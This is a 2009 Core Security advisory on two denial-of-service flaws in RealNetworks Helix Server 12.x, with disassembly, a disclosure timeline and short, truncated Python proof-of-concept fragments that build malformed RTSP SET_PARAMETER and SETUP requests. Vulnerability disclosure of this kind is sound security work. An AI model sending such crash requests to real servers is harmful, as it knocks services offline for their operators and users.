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Core Security Technologies Advisory 2009.0227

Core Security Technologies Advisory 2009.0227
Posted Jul 17, 2009
Authored by Core Security Technologies | Site coresecurity.com

Core Security Technologies Advisory - The Real Helix DNA RTSP and SETUP request handler suffers from multiple denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability
advisories | CVE-2009-2533, CVE-2009-2534
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Core Security Technologies Advisory 2009.0227

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Real Helix DNA RTSP and SETUP request handler vulnerabilities

1. *Advisory Information*

Title: Real Helix DNA RTSP and SETUP request handler vulnerabilities
Advisory ID: CORE-2009-0227
Advisory URL: http://www.coresecurity.com/content/real-helix-dna
Date published: 2009-07-17
Date of last update: 2009-07-17
Vendors contacted: RealNetworks
Release mode: Forced release

2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2533, CVE-2009-2534

3. *Vulnerability Description*

Helix Server is a multi-format cross-platform streaming server. Two
vulnerabilities have been found, that could allow a remote attacker to
crash the Helix Server.

During a 'RTSP' (SET_PARAMETERS) request handling, if an empty
'DataConvertBuffer' parameter is received by the server, it will raise
an exception reading an invalid direction of memory. This exception is
usually handled correctly but if you send this malformed request
multiple times in a short period of time, it could render the Helix
Server unresponsive and terminate its execution.

During the 'SETUP' request handling, a 0x2F character is searched in the
request line, if this byte is absent the process crashes with an access

4. *Vulnerable packages*

. Helix Server Version 12.x
. Helix Mobile Server Version 12.x
. The vulnerabilities were investigated on Helix Server Version (Tahiti) Build 175002/12667

5. *Non-vulnerable packages*

. Helix Server Version 13.0.0
. Helix Mobile Server Version 13.0.0

6. *Vendor Information, Solutions and Workarounds*

According to the Security Update 071409HS [2] published by RealNetworks:
"The vulnerability is resolved on the following platforms by installing
Version 13.0.0 of the Helix Server and the Helix Mobile Server. This
only pertains to supported versions of the platforms listed below. The
updated version will be available on your RealNetworks PAM site after
12:00 am PST, on July 14, 2009."

. Red Hat Enterprise Linux 4
. Red Hat Enterprise Linux 5
. Sun Solaris 10
. Windows 2003

7. *Credits*

These vulnerabilities were discovered and researched by Damian Frizza
from Core Security Technologies.

8. *Technical Description / Proof of Concept Code*

8.1. *RTSP request handling Denial of Service (CVE-2009-2533)*

The problem arises when the 'rmserver' process receives an 'RTSP
(SET_PARAMETER)' request with no content in the 'DataConvertBuffer'
parameter. The handling code reads at the memory location zero (0) and
triggers an exception, which is handled correctly. However sending this
malformed request multiple times renders the rmserver process
unresponsive and subsequently stops its execution.

The code section which triggers the exception is:


00458066 |. C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0
*Sets the content of the local variable to 0
0045806D |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
0045806F |. 50 PUSH EAX
00458070 |. FF52 2C CALL DWORD PTR DS:[EDX+2C]
00458073 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00458076 |. 8B10 MOV EDX,DWORD PTR DS:[EAX] *
Tries to read form 0 memory location

- -----------/

The following PoC code reproduces the issue:


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

setRequest = "SET_PARAMETER / RTSP/1.0\r\n"
setRequest +="DataConvertBuffer: \r\n\r\n"

for i in range(5):
print i


- -----------/

The following output is written in the log file:


4068: FATAL ERROR: The server has run out of memory!
FATAL ERROR: Last request was rounded up to 1155072 bytes
FATAL ERROR: Server Terminated

- -----------/

8.2. *Malformed SETUP command handling Denial of Service (CVE-2009-2534)*

The problem arises when the 'SETUP' request is handled and the byte 0x2F
is absent in the request line. While handling this kind of malformed
request the server crashes with an access violation.

The code section which triggers the access violation is:


0047A490 |. 6A 2F PUSH 2F
0047A492 |. 56 PUSH ESI
0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>]
; MSVCR71.strchr

- -----------/

if only the "/" (0x2F) character is sent, the program tries to copy
from 0 and the access violation exception is raised.


0047A490 |. 6A 2F PUSH 2F
0047A492 |. 56 PUSH ESI
0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>]
; MSVCR71.strchr

- -----------/

The following code reproduces the issue:


import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

setRequest = "SETUP / RTSP/1.0\r\n\r\n"


- -----------/

9. *Report Timeline*

. 2009-03-04:
Core Security Technologies notifies RealNetworks of the vulnerability.
Core initially schedules publication of its advisory to April 6th, 2009.

. 2009-03-16:
Core notifies again RealNetworks of the vulnerability.

. 2009-03-16:
RealNetworks identifies the vulnerability alert as SPAM.

. 2009-03-20:
The RealNetworks team asks Core for a technical description of the

. 2009-03-23:
Technical details sent to RealNetworks team by Core. RealNetworks
acknowledges reception.

. 2009-03-30:
Core requests information about the plans of RealNetworks to fix the

. 2009-03-30:
RealNetworks responds that fixes will be included in the next public
release - currently targeted for July 2009.

. 2009-05-04:
Core requests RealNetworks a technical analysis of the vulnerabilities,
a list of the affected versions of Helix Server, and a detailed timeline
for developing, testing and releasing fixes for these vulnerabilities.
It is only based on that information that Core can reevaluate its
advisory publication timeframe (which was originally scheduled to be
published on April 6).

. 2009-05-05:
RealNetworks responds that fixes will be available in mid-2009, most
likely in the July time frame, and that to protect its customer base
RealNetworks will not provide additional details until the release is
publicly available.

. 2009-05-05:
Core requests a more precise estimation for the release of fixes (no
reply received).

. 2009-05-29:
Core requests again RealNetworks an estimated date for the release of
fixes, and technical details about the issues. In the meantime, the
publication of advisory CORE-2009-0227 is rescheduled for July 15th (no
reply received).

. 2009-07-16:
An updated version of the advisory was sent to RealNetworks by Core.
Core requests again information about this issue.

. 2009-07-17:
Core is made aware that Real Networks has released the Security Update
071409HS [2] on July 14th, which states that version 13.0.0 of the Helix
Server and the Helix Mobile Server have been updated to ensure that the
above vulnerabilities have been resolved.

. 2009-07-17:
The advisory CORE-2009-0227 is published by Core.

10. *References*

[1] RealNetworks
[2] RealNetworks Security Update 071409HS

11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at

13. *Disclaimer*

The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org


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